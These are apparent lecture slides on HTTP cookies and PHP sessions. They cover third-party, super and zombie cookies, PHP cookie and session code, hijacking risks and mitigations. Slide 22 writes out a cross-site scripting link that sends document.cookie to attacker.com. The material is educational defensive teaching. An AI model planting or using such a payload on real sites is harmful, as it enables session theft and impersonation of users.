On a supported browser, an HttpOnly session cookie will
be used only when transmitting HTTP (or HTTPS)
requests, thus restricting access from other, non-HTTP
APIs (such as JavaScript).
15. Types Of Cookies…
Third-party cookie
First-party cookies are cookies set with the same domain (or its
subdomain) as your browser's address bar. Third-party cookies
are cookies set with domains different from the one shown on
the address bar. The web pages on the first domain may
feature content from a third-party domain, e.g. a banner advert
run by www.advexample.com.
As an example, suppose a user visits
www.example1.com, which includes an advert which sets a
cookie with the domain ad.foxytracking.com. When the user
later visits www.example2.com, another advert can set another
cookie with the domain ad.foxytracking.com. Eventually, both of
these cookies will be sent to the advertiser when loading their
ads or visiting their website. The advertiser can then use these
cookies to build up a browsing history of the user across all the
websites this advertiser has footprints on.
16. Types Of Cookies…
Supercookie:
A "supercookie" is a cookie with a public suffix domain, like
.com, .co.uk
A supercookie with domain .com would be blocked by
browsers; otherwise, a malicious website, like
attacker.com, could set a supercookie with domain .com and
get cookies of example.com.
Zombie cookie
Some cookies are automatically recreated after a user has
deleted them; these are called zombie cookies.
This is accomplished by a script storing the content of the
cookie in some other locations, such as the local storage
available to Flash content and HTML5 storages and then
recreating the cookie from backup stores when the cookie's
absence is detected.
17. Implementation Using Php
To set a cookie use
setcookie("UsersName", $name, time()+3600, "/", ".mysite.c
om", 1,1);
It should be used before sending any output to the page.
To Read Cookie Values
$_COOKIE['CookieName'];
$_REQUEST['CookieName'];
To Destroy a cookie
setcookie("user", "", time()-3600);
setcookie("UsersName", "", mktime(12,0,0,1, 1, 1990));
19. Cookie security and privacy issues
Cookies are NOT viruses. Cookies use a plain text
format. They are not compiled pieces of code so
they cannot be executed nor are they self-executing.
Cookies CAN be used for malicious purposes
though. Since they store information about a user's
browsing preferences and history, both on a specific
site and browsing among several sites, cookies can
be used to act as a form of spyware.
20. Cookie theft and session hijacking
Network eavesdropping
Traffic on a network can be intercepted and read by
computers on the network other than the sender and
receiver (particularly over unencrypted open Wi-Fi).
This traffic includes cookies sent on ordinary unencrypted
HTTP sessions.
An attacker could use intercepted cookies to impersonate
a user and perform a malicious task, such as transferring
money.
This issue can be resolved by specifying the Secure flag
while setting a cookie, which will cause the browser to
send the cookie only over an encrypted channel.
21. Cookie theft and session hijacking
Publishing false sub-domain – DNS cache poisoning
Via DNS cache poisoning, an attacker might be able to cause a
DNS server to cache a fabricated DNS entry, say
f12345.www.example.com with the attacker’s server IP address.
Since f12345.www.example.com is a sub-domain of
www.example.com, victims’ browsers would submit all
example.com-related cookies to the attacker’s server;
This vulnerability is usually for Internet Service Providers to fix, by
securing their DNS servers
But it can also be mitigated if www.example.com is using Secure
cookies.
Victims’ browsers will not submit Secure cookies if the attacker is
not using encrypted connections.
If the attacker chose to use HTTPS, he would have the challenge
of obtaining an SSL certificate for f12345.www.example.com from
a Certificate Authority.
Without a proper SSL certificate, victims’ browsers would display
(usually very visible) warning messages about the invalid
certificate.
22. Cookie theft and session hijacking
Cross-site scripting – cookie theft
Scripting languages such as JavaScript are usually allowed to access cookie
values and have some means to send arbitrary values to arbitrary servers on
the Internet.
These facts are used in combination with sites allowing users to post HTML
content that other users can see.
As an example, an attacker may post a message on www.example.com with the
following link:
<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie);
return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code
within the onclick attribute, thus replacing the string document.cookie with the
list of cookies of the user that are active for the page.
When another user clicks on this link, list of cookies is sent to the attacker.com
server. If the attacker’s posting is on https://www.example.com/somewhere,
secure cookies will also be sent to attacker.com in plain text.
It is the responsibility of the website developers to filter out such malicious code.
Such attacks can be mitigated by using HttpOnly cookies.
23. Key tips for safe and responsible cookie-
based Web browsing
Install and keep antispyware applications
updated
Many spyware detection, cleanup applications, and
spyware removers include attack site detection. They
block your browser from accessing websites designed to
exploit browser vulnerabilities or download malicious
software.
Make sure your browser is updated
If you haven't already, set your browser to update
automatically. This eliminates security vulnerabilities
caused by outdated browsers. Many cookie-based
exploits are based on exploiting older browsers' security
shortcomings.
24. Session
Session support consists of a way to preserve
certain data across subsequent accesses.
A visitor accessing the web site is assigned a unique
id, the so-called session id.
This is either stored in a cookie on the user side or is
propagated in the URL.
The rest of the information and variables are stored
on server.
Session variables hold information about one single
user, and are available to all pages in one
application.
In PHP the session support allows to store data
between requests in the $_SESSION superglobal
array.
25. Session V/S Cookies
A session retains data for the duration of the session.
A cookie retains values for as long as you need it to.
Cookies should be used to store simple data for a long
period of time. If one go to the website a lot, they might
want their username to be remembered for them, so it
can be stored as a cookie.
Critical and private data should not be stored in cookie
instead sessions should be used.
Cookies can be any time altered by User.
Cookie might be disabled On a system so Sessions
employing URL can be used.
Cookies can be any time altered by User.
Cookies are sent with each request so a lot of cookies
can slow down the process.
26. Php Session.
Starting a PHP Session
<?php session_start(); ?>
The session_start() function must appear BEFORE the
<html> tag
Storing a Session Variable
$_SESSION['views']=1;
Destroying a Session
unset($_SESSION['views']); --used to free the specified
session variable
session_destroy(); --reset the session and delete all stored
session data.
27. Some pitfalls
If we write session_id in url:
one might save the offline page as a bookmark or pass
the link across to others not realizing that the session id
information is also sent. (session fixation.)
So someone who quickly accesses these pages could
possible get logged on.
To prevent this we can use cookies
But this could cause problems when dealing with
transaction which involve switch sites, i.e. siteA forwards
to site B for payment which forwards to siteA for thank
you, in which case a phpsessid inform might be used to
revive the old session.
28. Some tips:
- Ensure you always use a new self generated session
id on successful login attempt.
- Use https throughout to ensure no one can sniff your
session id.
- Store session id, remote IP information and compare
for successive pages.